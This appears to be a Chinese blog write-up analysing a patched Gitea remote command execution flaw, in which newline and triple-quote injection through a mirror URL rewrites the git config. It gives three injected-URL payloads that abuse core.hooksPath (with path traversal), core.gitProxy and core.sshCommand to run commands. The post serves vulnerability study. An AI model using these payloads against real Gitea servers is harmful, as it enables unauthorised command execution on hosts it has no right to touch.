前言

4月13日,gitea发布v1.7.6,修复一处远程命令执行漏洞 因为之前也跟过gitea的其他洞,这次也继续调洞

分析

首先查看commit修复了什么 https://github.com/go-gitea/gitea/pull/6593/files#diff-6b299323ba0a072129c7841649f49536

image.png 看这样子是修复了设置remote origin的时候的洞,猜测是CRLF,直接看代码 定位SaveAddress函数 image.png 跟进SetValue函数 image.png 看着只是设置了键值对,那么跟进SaveToIndent康康 image.png 将键值对写入buffer后写入文件,跟进writeToBuffer康康他是怎么处理键值对的 关键来了,如果存在换行就用"""框住 image.png 这样就能用"""来逃逸了23333

复现

首先正常迁移一个外部仓库,选择镜像 进入仓库设置,修改URL image.png 用burp一把梭 image.png 然后config文件成功被篡改 image.png 看上去很乱,但是重新点一下更新仓库设置就能格式化了 image.png 那么能篡改config文件后,怎么rce呢 通过阅读git文档和场外求助,共找到3种利用方式

利用链1

第一种就是使用hooksPath,通过设置core.hooksPath,我们能够指定hooks文件,如果能指定到仓库所存放到地方不就可以为所欲为了吗 在转成普通仓库后,对文件进行修改后,会在data/tmp/local-repo/{repo_id}下生成仓库文件,只要不重启gitea就不会消失,那么不久可以利用这个来做hooksPath吗 可能有人要问,repo_id我怎么知道呢,莫慌,可以使用搜索api来获取 image.png 首先创建一个镜像仓库,拉取恶意的hook文件,然后通过搜索api来获取repo_id,然后篡改url为

1
2
3
4
5
http://www.baidu.com"""
[core]
hooksPath = ../../../data/tmp/local-repo/6/hooks/update.d
[remote "origin"]
cat = """

然后转换为普通仓库后,随便更新一个文件后就能触发了 image.png

注意,hook文件一定要有执行权限,在上传至远程git仓库时一定要加上执行权限,这样拉下来的hook也带有执行权限了 然而这种利用链存在问题,首先我是在用户目录下运行binary的,这样就可以用相对路径穿上去,但是不是每一个人都会在用户目录下运行的。虽然可以使用绝对路径,但是猜不到绝对路径就gg。还有在1.8版本,更改完文件后,临时的仓库文件就会被删除。所以这个利用链不完美。

利用链2

使用gitProxy,git文档对其对描述是能够执行命令 image.png 修改url为

1
2
3
4
5
git://www.baidu.com/catcat/test.git"""
[core]
gitProxy = touch
[remote "origin"]
cat = """

修改完成后点击更新就能执行touch命令 image.png image.png

但是gitProxy是把值当作一个命令来执行的,所以不能带参数就不能扩大利用了

利用链3

在git文档里,gitProxy的下面就是sshCommand,可以利用这个来执行命令 image.png 触发条件是执行git fetchgit push,先看看gitea同步时的操作 image.png 调用了git remote update,那再来看看git remote update又调用了谁 image.png nice,调用了git fetch,那么利用链完成 修改url为

1
2
3
4
5
git@github.com:luckycat/luckycat"""
[core]
sshCommand = open /Applications/Calculator.app | ssh
[remote "origin"]
cat = """

点击同步,一键getshell

参考

感谢@lorexxar师傅提供利用链2的思路 感谢@lz1y师傅提供利用链3的思路 https://www.lz1y.cn/2019/07/20/CVE-2019-11229-Gitea-RCE/ https://git-scm.com/docs/git-config